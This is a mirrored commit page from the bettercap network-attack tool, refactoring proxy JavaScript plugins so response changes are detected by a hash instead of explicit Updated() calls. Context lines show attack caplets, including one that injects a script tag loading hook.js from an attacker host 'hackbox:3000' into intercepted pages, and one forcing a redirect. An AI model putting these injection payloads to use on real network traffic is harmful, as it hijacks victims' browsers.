mirror of
https://github.com/bettercap/bettercap
synced 2025-07-07 13:32:07 -07:00
fix: no more explicit call to that ugly Updated method from proxy js plugins
This commit is contained in:
parent
3c2932514a
commit
adc2dde170
7 changed files with 26 additions and 16 deletions
|
@ -11,7 +11,6 @@ function onResponse(req, res) {
|
|||
'</head>',
|
||||
'<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>'
|
||||
);
|
||||
res.Updated();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -19,6 +19,5 @@ function onRequest(req, res) {
|
|||
res.Status = 301;
|
||||
res.Headers = "Location: https://www.facebook.com/\n" +
|
||||
"Connection: close";
|
||||
res.Updated()
|
||||
}
|
||||
}
|
||||
|
|
|
@ -26,7 +26,6 @@ function onRequest(req, res) {
|
|||
res.ContentType = "text/html";
|
||||
res.Headers = "Connection: close";
|
||||
res.Body = "";
|
||||
res.Updated();
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -42,7 +41,6 @@ function onResponse(req, res) {
|
|||
'</script>' +
|
||||
'</head>'
|
||||
);
|
||||
res.Updated();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -18,8 +18,6 @@ function onRequest(req, res) {
|
|||
"<div align=\"center\">Hello world from bettercap-ng!</div>" +
|
||||
"</body>" +
|
||||
"</html>";
|
||||
|
||||
res.Updated();
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -37,6 +35,5 @@ function onResponse(req, res) {
|
|||
"<div align=\"center\">Custom 404 from bettercap-ng.</div>" +
|
||||
"</body>" +
|
||||
"</html>";
|
||||
res.Updated();
|
||||
}
|
||||
}
|
||||
|
|
|
@ -5,6 +5,4 @@ function onRequest(req, res) {
|
|||
res.ContentType = "text/html";
|
||||
res.Headers = "Connection: close";
|
||||
res.Body = readFile("caplets/www/index.html");
|
||||
|
||||
res.Updated();
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
package modules
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
@ -16,7 +17,7 @@ type JSResponse struct {
|
|||
Headers string
|
||||
Body string
|
||||
|
||||
wasUpdated bool
|
||||
refHash string
|
||||
resp *http.Response
|
||||
}
|
||||
|
||||
|
@ -33,16 +34,31 @@ func NewJSResponse(res *http.Response) *JSResponse {
|
|||
}
|
||||
}
|
||||
|
||||
return &JSResponse{
|
||||
resp := &JSResponse{
|
||||
Status: res.StatusCode,
|
||||
ContentType: cType,
|
||||
Headers: headers,
|
||||
resp: res,
|
||||
}
|
||||
resp.UpdateHash()
|
||||
|
||||
return resp
|
||||
}
|
||||
|
||||
func (j *JSResponse) Updated() {
|
||||
j.wasUpdated = true
|
||||
func (j *JSResponse) NewHash() string {
|
||||
return fmt.Sprintf("%d.%s.%s.%s", j.Status, j.ContentType, j.Headers, j.Body)
|
||||
}
|
||||
|
||||
func (j *JSResponse) UpdateHash() {
|
||||
j.refHash = j.NewHash()
|
||||
}
|
||||
|
||||
func (j *JSResponse) WasModified() bool {
|
||||
newHash := j.NewHash()
|
||||
if newHash != j.refHash {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (j *JSResponse) ToResponse(req *http.Request) (resp *http.Response) {
|
||||
|
@ -71,6 +87,7 @@ func (j *JSResponse) ReadBody() string {
|
|||
}
|
||||
|
||||
j.Body = string(raw)
|
||||
j.UpdateHash()
|
||||
|
||||
return j.Body
|
||||
}
|
||||
|
|
|
@ -168,7 +168,8 @@ func (s *ProxyScript) OnRequest(req *http.Request) *JSResponse {
|
|||
return nil
|
||||
}
|
||||
|
||||
if jsres.wasUpdated == true {
|
||||
if jsres.WasModified() {
|
||||
jsres.UpdateHash()
|
||||
return jsres
|
||||
}
|
||||
}
|
||||
|
@ -193,7 +194,8 @@ func (s *ProxyScript) OnResponse(res *http.Response) *JSResponse {
|
|||
return nil
|
||||
}
|
||||
|
||||
if jsres.wasUpdated == true {
|
||||
if jsres.WasModified() {
|
||||
jsres.UpdateHash()
|
||||
return jsres
|
||||
}
|
||||
}
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue